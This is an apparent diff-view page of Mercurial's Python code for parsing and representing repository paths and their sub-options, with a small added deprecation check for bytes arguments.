576 msg = _(b"path points to %d urls while %s only supports one: %s")
576 msg %= (path_count, action, source)
577 msg %= (path_count, action, source)
577 raise error.Abort(msg)
578 raise error.Abort(msg)
578 return pull_paths[0]
579 return pull_paths[0]
579
580
580
581
581 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
582 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
582 """return a unique `(url, branch)` or abort if multiple are found
583 """return a unique `(url, branch)` or abort if multiple are found
583
584
584 See `get_unique_pull_path_obj` for details.
585 See `get_unique_pull_path_obj` for details.
585 """
586 """
586 path = get_unique_pull_path_obj(action, ui, source=source)
587 path = get_unique_pull_path_obj(action, ui, source=source)
587 return parseurl(path.rawloc, default_branches)
588 return parseurl(path.rawloc, default_branches)
588
589
589
590
590 def get_clone_path_obj(ui, source):
591 def get_clone_path_obj(ui, source):
591 """return the `(origsource, url, branch)` selected as clone source"""
592 """return the `(origsource, url, branch)` selected as clone source"""
592 if source == b'':
593 if source == b'':
593 return None
594 return None
594 return get_unique_pull_path_obj(b'clone', ui, source=source)
595 return get_unique_pull_path_obj(b'clone', ui, source=source)
595
596
596
597
597 def get_clone_path(ui, source, default_branches=None):
598 def get_clone_path(ui, source, default_branches=None):
598 """return the `(origsource, url, branch)` selected as clone source"""
599 """return the `(origsource, url, branch)` selected as clone source"""
599 path = get_clone_path_obj(ui, source)
600 path = get_clone_path_obj(ui, source)
600 if path is None:
601 if path is None:
601 return (b'', b'', (None, default_branches))
602 return (b'', b'', (None, default_branches))
602 if default_branches is None:
603 if default_branches is None:
603 default_branches = []
604 default_branches = []
604 branches = (path.branch, default_branches)
605 branches = (path.branch, default_branches)
605 return path.rawloc, path.loc, branches
606 return path.rawloc, path.loc, branches
606
607
607
608
608 def parseurl(path, branches=None):
609 def parseurl(path, branches=None):
609 '''parse url#branch, returning (url, (branch, branches))'''
610 '''parse url#branch, returning (url, (branch, branches))'''
610 u = url(path)
611 u = url(path)
611 branch = None
612 branch = None
612 if u.fragment:
613 if u.fragment:
613 branch = u.fragment
614 branch = u.fragment
614 u.fragment = None
615 u.fragment = None
615 return bytes(u), (branch, branches or [])
616 return bytes(u), (branch, branches or [])
616
617
617
618
618 class paths(dict):
619 class paths(dict):
619 """Represents a collection of paths and their configs.
620 """Represents a collection of paths and their configs.
620
621
621 Data is initially derived from ui instances and the config files they have
622 Data is initially derived from ui instances and the config files they have
622 loaded.
623 loaded.
623 """
624 """
624
625
625 def __init__(self, ui):
626 def __init__(self, ui):
626 dict.__init__(self)
627 dict.__init__(self)
627
628
628 home_path = os.path.expanduser(b'~')
629 home_path = os.path.expanduser(b'~')
629
630
630 for name, value in ui.configitems(b'paths', ignoresub=True):
631 for name, value in ui.configitems(b'paths', ignoresub=True):
631 # No location is the same as not existing.
632 # No location is the same as not existing.
632 if not value:
633 if not value:
633 continue
634 continue
634 _value, sub_opts = ui.configsuboptions(b'paths', name)
635 _value, sub_opts = ui.configsuboptions(b'paths', name)
635 s = ui.configsource(b'paths', name)
636 s = ui.configsource(b'paths', name)
636 root_key = (name, value, s)
637 root_key = (name, value, s)
637 root = ui._path_to_root.get(root_key, home_path)
638 root = ui._path_to_root.get(root_key, home_path)
638
639
639 multi_url = sub_opts.get(b'multi-urls')
640 multi_url = sub_opts.get(b'multi-urls')
640 if multi_url is not None and stringutil.parsebool(multi_url):
641 if multi_url is not None and stringutil.parsebool(multi_url):
641 base_locs = stringutil.parselist(value)
642 base_locs = stringutil.parselist(value)
642 else:
643 else:
643 base_locs = [value]
644 base_locs = [value]
644
645
645 paths = []
646 paths = []
646 for loc in base_locs:
647 for loc in base_locs:
647 loc = os.path.expandvars(loc)
648 loc = os.path.expandvars(loc)
648 loc = os.path.expanduser(loc)
649 loc = os.path.expanduser(loc)
649 if not hasscheme(loc) and not os.path.isabs(loc):
650 if not hasscheme(loc) and not os.path.isabs(loc):
650 loc = os.path.normpath(os.path.join(root, loc))
651 loc = os.path.normpath(os.path.join(root, loc))
651 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
652 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
652 paths.append(p)
653 paths.append(p)
653 self[name] = paths
654 self[name] = paths
654
655
655 for name, old_paths in sorted(self.items()):
656 for name, old_paths in sorted(self.items()):
656 new_paths = []
657 new_paths = []
657 for p in old_paths:
658 for p in old_paths:
658 new_paths.extend(_chain_path(p, ui, self))
659 new_paths.extend(_chain_path(p, ui, self))
659 self[name] = new_paths
660 self[name] = new_paths
660
661
661
662
662 _pathsuboptions = {}
663 _pathsuboptions = {}
663 # a dictionnary of methods that can be used to format a sub-option value
664 # a dictionnary of methods that can be used to format a sub-option value
664 path_suboptions_display = {}
665 path_suboptions_display = {}
665
666
666
667
667 def pathsuboption(option, attr, display=pycompat.bytestr):
668 def pathsuboption(option, attr, display=pycompat.bytestr):
668 """Decorator used to declare a path sub-option.
669 """Decorator used to declare a path sub-option.
669
670
670 Arguments are the sub-option name and the attribute it should set on
671 Arguments are the sub-option name and the attribute it should set on
671 ``path`` instances.
672 ``path`` instances.
672
673
673 The decorated function will receive as arguments a ``ui`` instance,
674 The decorated function will receive as arguments a ``ui`` instance,
674 ``path`` instance, and the string value of this option from the config.
675 ``path`` instance, and the string value of this option from the config.
675 The function should return the value that will be set on the ``path``
676 The function should return the value that will be set on the ``path``
676 instance.
677 instance.
677
678
678 The optional `display` argument is a function that can be used to format
679 The optional `display` argument is a function that can be used to format
679 the value when displayed to the user (like in `hg paths` for example).
680 the value when displayed to the user (like in `hg paths` for example).
680
681
681 This decorator can be used to perform additional verification of
682 This decorator can be used to perform additional verification of
682 sub-options and to change the type of sub-options.
683 sub-options and to change the type of sub-options.
683 """
684 """
685 if isinstance(attr, bytes):
686 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
687 util.nouideprecwarn(msg, b"6.6", stacklevel=2)
688 attr = attr.decode('ascii')
684
689
685 def register(func):
690 def register(func):
686 _pathsuboptions[option] = (attr, func)
691 _pathsuboptions[option] = (attr, func)
687 path_suboptions_display[option] = display
692 path_suboptions_display[option] = display
688 return func
693 return func
689
694
690 return register
695 return register
691
696
692
697
693 def display_bool(value):
698 def display_bool(value):
694 """display a boolean suboption back to the user"""
699 """display a boolean suboption back to the user"""
695 return b'yes' if value else b'no'
700 return b'yes' if value else b'no'
696
701
697
702
698 @pathsuboption(b'pushurl', '_pushloc')
703 @pathsuboption(b'pushurl', '_pushloc')
699 def pushurlpathoption(ui, path, value):
704 def pushurlpathoption(ui, path, value):
700 u = url(value)
705 u = url(value)
701 # Actually require a URL.
706 # Actually require a URL.
702 if not u.scheme:
707 if not u.scheme:
703 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
708 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
704 msg %= (path.name, value)
709 msg %= (path.name, value)
705 ui.warn(msg)
710 ui.warn(msg)
706 return None
711 return None
707
712
708 # Don't support the #foo syntax in the push URL to declare branch to
713 # Don't support the #foo syntax in the push URL to declare branch to
709 # push.
714 # push.
710 if u.fragment:
715 if u.fragment:
711 ui.warn(
716 ui.warn(
712 _(
717 _(
713 b'("#fragment" in paths.%s:pushurl not supported; '
718 b'("#fragment" in paths.%s:pushurl not supported; '
714 b'ignoring)\n'
719 b'ignoring)\n'
715 )
720 )
716 % path.name
721 % path.name
717 )
722 )
718 u.fragment = None
723 u.fragment = None
719
724
720 return bytes(u)
725 return bytes(u)
721
726
722
727
723 @pathsuboption(b'pushrev', 'pushrev')
728 @pathsuboption(b'pushrev', 'pushrev')
724 def pushrevpathoption(ui, path, value):
729 def pushrevpathoption(ui, path, value):
725 return value
730 return value
726
731
727
732
728 SUPPORTED_BOOKMARKS_MODES = {
733 SUPPORTED_BOOKMARKS_MODES = {
729 b'default',
734 b'default',
730 b'mirror',
735 b'mirror',
731 b'ignore',
736 b'ignore',
732 }
737 }
733
738
734
739
735 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
740 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
736 def bookmarks_mode_option(ui, path, value):
741 def bookmarks_mode_option(ui, path, value):
737 if value not in SUPPORTED_BOOKMARKS_MODES:
742 if value not in SUPPORTED_BOOKMARKS_MODES:
738 path_name = path.name
743 path_name = path.name
739 if path_name is None:
744 if path_name is None:
740 # this is an "anonymous" path, config comes from the global one
745 # this is an "anonymous" path, config comes from the global one
741 path_name = b'*'
746 path_name = b'*'
742 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
747 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
743 msg %= (path_name, value)
748 msg %= (path_name, value)
744 ui.warn(msg)
749 ui.warn(msg)
745 if value == b'default':
750 if value == b'default':
746 value = None
751 value = None
747 return value
752 return value
748
753
749
754
750 DELTA_REUSE_POLICIES = {
755 DELTA_REUSE_POLICIES = {
751 b'default': None,
756 b'default': None,
752 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
757 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
753 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
758 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
754 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
759 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
755 }
760 }
756 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
761 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
757
762
758
763
759 @pathsuboption(
764 @pathsuboption(
760 b'pulled-delta-reuse-policy',
765 b'pulled-delta-reuse-policy',
761 'delta_reuse_policy',
766 'delta_reuse_policy',
762 display=DELTA_REUSE_POLICIES_NAME.get,
767 display=DELTA_REUSE_POLICIES_NAME.get,
763 )
768 )
764 def delta_reuse_policy(ui, path, value):
769 def delta_reuse_policy(ui, path, value):
765 if value not in DELTA_REUSE_POLICIES:
770 if value not in DELTA_REUSE_POLICIES:
766 path_name = path.name
771 path_name = path.name
767 if path_name is None:
772 if path_name is None:
768 # this is an "anonymous" path, config comes from the global one
773 # this is an "anonymous" path, config comes from the global one
769 path_name = b'*'
774 path_name = b'*'
770 msg = _(
775 msg = _(
771 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
776 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
772 )
777 )
773 msg %= (path_name, value)
778 msg %= (path_name, value)
774 ui.warn(msg)
779 ui.warn(msg)
775 return DELTA_REUSE_POLICIES.get(value)
780 return DELTA_REUSE_POLICIES.get(value)
776
781
777
782
778 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
783 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
779 def multiurls_pathoption(ui, path, value):
784 def multiurls_pathoption(ui, path, value):
780 res = stringutil.parsebool(value)
785 res = stringutil.parsebool(value)
781 if res is None:
786 if res is None:
782 ui.warn(
787 ui.warn(
783 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
788 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
784 )
789 )
785 res = False
790 res = False
786 return res
791 return res
787
792
788
793
789 def _chain_path(base_path, ui, paths):
794 def _chain_path(base_path, ui, paths):
790 """return the result of "path://" logic applied on a given path"""
795 """return the result of "path://" logic applied on a given path"""
791 new_paths = []
796 new_paths = []
792 if base_path.url.scheme != b'path':
797 if base_path.url.scheme != b'path':
793 new_paths.append(base_path)
798 new_paths.append(base_path)
794 else:
799 else:
795 assert base_path.url.path is None
800 assert base_path.url.path is None
796 sub_paths = paths.get(base_path.url.host)
801 sub_paths = paths.get(base_path.url.host)
797 if sub_paths is None:
802 if sub_paths is None:
798 m = _(b'cannot use `%s`, "%s" is not a known path')
803 m = _(b'cannot use `%s`, "%s" is not a known path')
799 m %= (base_path.rawloc, base_path.url.host)
804 m %= (base_path.rawloc, base_path.url.host)
800 raise error.Abort(m)
805 raise error.Abort(m)
801 for subpath in sub_paths:
806 for subpath in sub_paths:
802 path = base_path.copy()
807 path = base_path.copy()
803 if subpath.raw_url.scheme == b'path':
808 if subpath.raw_url.scheme == b'path':
804 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
809 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
805 m %= (path.rawloc, path.url.host)
810 m %= (path.rawloc, path.url.host)
806 raise error.Abort(m)
811 raise error.Abort(m)
807 path.url = subpath.url
812 path.url = subpath.url
808 path.rawloc = subpath.rawloc
813 path.rawloc = subpath.rawloc
809 path.loc = subpath.loc
814 path.loc = subpath.loc
810 if path.branch is None:
815 if path.branch is None:
811 path.branch = subpath.branch
816 path.branch = subpath.branch
812 else:
817 else:
813 base = path.rawloc.rsplit(b'#', 1)[0]
818 base = path.rawloc.rsplit(b'#', 1)[0]
814 path.rawloc = b'%s#%s' % (base, path.branch)
819 path.rawloc = b'%s#%s' % (base, path.branch)
815 suboptions = subpath._all_sub_opts.copy()
820 suboptions = subpath._all_sub_opts.copy()
816 suboptions.update(path._own_sub_opts)
821 suboptions.update(path._own_sub_opts)
817 path._apply_suboptions(ui, suboptions)
822 path._apply_suboptions(ui, suboptions)
818 new_paths.append(path)
823 new_paths.append(path)
819 return new_paths
824 return new_paths
820
825
821
826
822 class path:
827 class path:
823 """Represents an individual path and its configuration."""
828 """Represents an individual path and its configuration."""
824
829
825 def __init__(
830 def __init__(
826 self,
831 self,
827 ui=None,
832 ui=None,
828 name=None,
833 name=None,
829 rawloc=None,
834 rawloc=None,
830 suboptions=None,
835 suboptions=None,
831 validate_path=True,
836 validate_path=True,
832 ):
837 ):
833 """Construct a path from its config options.
838 """Construct a path from its config options.
834
839
835 ``ui`` is the ``ui`` instance the path is coming from.
840 ``ui`` is the ``ui`` instance the path is coming from.
836 ``name`` is the symbolic name of the path.
841 ``name`` is the symbolic name of the path.
837 ``rawloc`` is the raw location, as defined in the config.
842 ``rawloc`` is the raw location, as defined in the config.
838 ``_pushloc`` is the raw locations pushes should be made to.
843 ``_pushloc`` is the raw locations pushes should be made to.
839 (see the `get_push_variant` method)
844 (see the `get_push_variant` method)
840
845
841 If ``name`` is not defined, we require that the location be a) a local
846 If ``name`` is not defined, we require that the location be a) a local
842 filesystem path with a .hg directory or b) a URL. If not,
847 filesystem path with a .hg directory or b) a URL. If not,
843 ``ValueError`` is raised.
848 ``ValueError`` is raised.
844 """
849 """
845 if ui is None:
850 if ui is None:
846 # used in copy
851 # used in copy
847 assert name is None
852 assert name is None
848 assert rawloc is None
853 assert rawloc is None
849 assert suboptions is None
854 assert suboptions is None
850 return
855 return
851
856
852 if not rawloc:
857 if not rawloc:
853 raise ValueError(b'rawloc must be defined')
858 raise ValueError(b'rawloc must be defined')
854
859
855 self.name = name
860 self.name = name
856
861
857 # set by path variant to point to their "non-push" version
862 # set by path variant to point to their "non-push" version
858 self.main_path = None
863 self.main_path = None
859 self._setup_url(rawloc)
864 self._setup_url(rawloc)
860
865
861 if validate_path:
866 if validate_path:
862 self._validate_path()
867 self._validate_path()
863
868
864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
869 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
865 self._own_sub_opts = {}
870 self._own_sub_opts = {}
866 if suboptions is not None:
871 if suboptions is not None:
867 self._own_sub_opts = suboptions.copy()
872 self._own_sub_opts = suboptions.copy()
868 sub_opts.update(suboptions)
873 sub_opts.update(suboptions)
869 self._all_sub_opts = sub_opts.copy()
874 self._all_sub_opts = sub_opts.copy()
870
875
871 self._apply_suboptions(ui, sub_opts)
876 self._apply_suboptions(ui, sub_opts)
872
877
873 def _setup_url(self, rawloc):
878 def _setup_url(self, rawloc):
874 # Locations may define branches via syntax <base>#<branch>.
879 # Locations may define branches via syntax <base>#<branch>.
875 u = url(rawloc)
880 u = url(rawloc)
876 branch = None
881 branch = None
877 if u.fragment:
882 if u.fragment:
878 branch = u.fragment
883 branch = u.fragment
879 u.fragment = None
884 u.fragment = None
880
885
881 self.url = u
886 self.url = u
882 # the url from the config/command line before dealing with `path://`
887 # the url from the config/command line before dealing with `path://`
883 self.raw_url = u.copy()
888 self.raw_url = u.copy()
884 self.branch = branch
889 self.branch = branch
885
890
886 self.rawloc = rawloc
891 self.rawloc = rawloc
887 self.loc = b'%s' % u
892 self.loc = b'%s' % u
888
893
889 def copy(self, new_raw_location=None):
894 def copy(self, new_raw_location=None):
890 """make a copy of this path object
895 """make a copy of this path object
891
896
892 When `new_raw_location` is set, the new path will point to it.
897 When `new_raw_location` is set, the new path will point to it.
893 This is used by the scheme extension so expand the scheme.
898 This is used by the scheme extension so expand the scheme.
894 """
899 """
895 new = self.__class__()
900 new = self.__class__()
896 for k, v in self.__dict__.items():
901 for k, v in self.__dict__.items():
897 new_copy = getattr(v, 'copy', None)
902 new_copy = getattr(v, 'copy', None)
898 if new_copy is not None:
903 if new_copy is not None:
899 v = new_copy()
904 v = new_copy()
900 new.__dict__[k] = v
905 new.__dict__[k] = v
901 if new_raw_location is not None:
906 if new_raw_location is not None:
902 new._setup_url(new_raw_location)
907 new._setup_url(new_raw_location)
903 return new
908 return new
904
909
905 @property
910 @property
906 def is_push_variant(self):
911 def is_push_variant(self):
907 """is this a path variant to be used for pushing"""
912 """is this a path variant to be used for pushing"""
908 return self.main_path is not None
913 return self.main_path is not None
909
914
910 def get_push_variant(self):
915 def get_push_variant(self):
911 """get a "copy" of the path, but suitable for pushing
916 """get a "copy" of the path, but suitable for pushing
912
917
913 This means using the value of the `pushurl` option (if any) as the url.
918 This means using the value of the `pushurl` option (if any) as the url.
914
919
915 The original path is available in the `main_path` attribute.
920 The original path is available in the `main_path` attribute.
916 """
921 """
917 if self.main_path:
922 if self.main_path:
918 return self
923 return self
919 new = self.copy()
924 new = self.copy()
920 new.main_path = self
925 new.main_path = self
921 if self._pushloc:
926 if self._pushloc:
922 new._setup_url(self._pushloc)
927 new._setup_url(self._pushloc)
923 return new
928 return new
924
929
925 def pushloc(self):
930 def pushloc(self):
926 """compatibility layer for the deprecated attributes"""
931 """compatibility layer for the deprecated attributes"""
927 from .. import util # avoid a cycle
932 from .. import util # avoid a cycle
928
933
929 msg = "don't use path.pushloc, use path.get_push_variant()"
934 msg = "don't use path.pushloc, use path.get_push_variant()"
930 util.nouideprecwarn(msg, b"6.5")
935 util.nouideprecwarn(msg, b"6.5")
931 return self._pushloc
936 return self._pushloc
932
937
933 def _validate_path(self):
938 def _validate_path(self):
934 # When given a raw location but not a symbolic name, validate the
939 # When given a raw location but not a symbolic name, validate the
935 # location is valid.
940 # location is valid.
936 if (
941 if (
937 not self.name
942 not self.name
938 and not self.url.scheme
943 and not self.url.scheme
939 and not self._isvalidlocalpath(self.loc)
944 and not self._isvalidlocalpath(self.loc)
940 ):
945 ):
941 raise ValueError(
946 raise ValueError(
942 b'location is not a URL or path to a local '
947 b'location is not a URL or path to a local '
943 b'repo: %s' % self.rawloc
948 b'repo: %s' % self.rawloc
944 )
949 )
945
950
946 def _apply_suboptions(self, ui, sub_options):
951 def _apply_suboptions(self, ui, sub_options):
947 # Now process the sub-options. If a sub-option is registered, its
952 # Now process the sub-options. If a sub-option is registered, its
948 # attribute will always be present. The value will be None if there
953 # attribute will always be present. The value will be None if there
949 # was no valid sub-option.
954 # was no valid sub-option.
950 for suboption, (attr, func) in _pathsuboptions.items():
955 for suboption, (attr, func) in _pathsuboptions.items():
951 if suboption not in sub_options:
956 if suboption not in sub_options:
952 setattr(self, attr, None)
957 setattr(self, attr, None)
953 continue
958 continue
954
959
955 value = func(ui, self, sub_options[suboption])
960 value = func(ui, self, sub_options[suboption])
956 setattr(self, attr, value)
961 setattr(self, attr, value)
957
962
958 def _isvalidlocalpath(self, path):
963 def _isvalidlocalpath(self, path):
959 """Returns True if the given path is a potentially valid repository.
964 """Returns True if the given path is a potentially valid repository.
960 This is its own function so that extensions can change the definition of
965 This is its own function so that extensions can change the definition of
961 'valid' in this case (like when pulling from a git repo into a hg
966 'valid' in this case (like when pulling from a git repo into a hg
962 one)."""
967 one)."""
963 try:
968 try:
964 return os.path.isdir(os.path.join(path, b'.hg'))
969 return os.path.isdir(os.path.join(path, b'.hg'))
965 # Python 2 may return TypeError. Python 3, ValueError.
970 # Python 2 may return TypeError. Python 3, ValueError.
966 except (TypeError, ValueError):
971 except (TypeError, ValueError):
967 return False
972 return False
968
973
969 @property
974 @property
970 def suboptions(self):
975 def suboptions(self):
971 """Return sub-options and their values for this path.
976 """Return sub-options and their values for this path.
972
977
973 This is intended to be used for presentation purposes.
978 This is intended to be used for presentation purposes.
974 """
979 """
975 d = {}
980 d = {}
976 for subopt, (attr, _func) in _pathsuboptions.items():
981 for subopt, (attr, _func) in _pathsuboptions.items():
977 value = getattr(self, attr)
982 value = getattr(self, attr)
978 if value is not None:
983 if value is not None:
979 d[subopt] = value
984 d[subopt] = value
980 return d
985 return d
General Comments 0
You need to be logged in to leave comments. Login now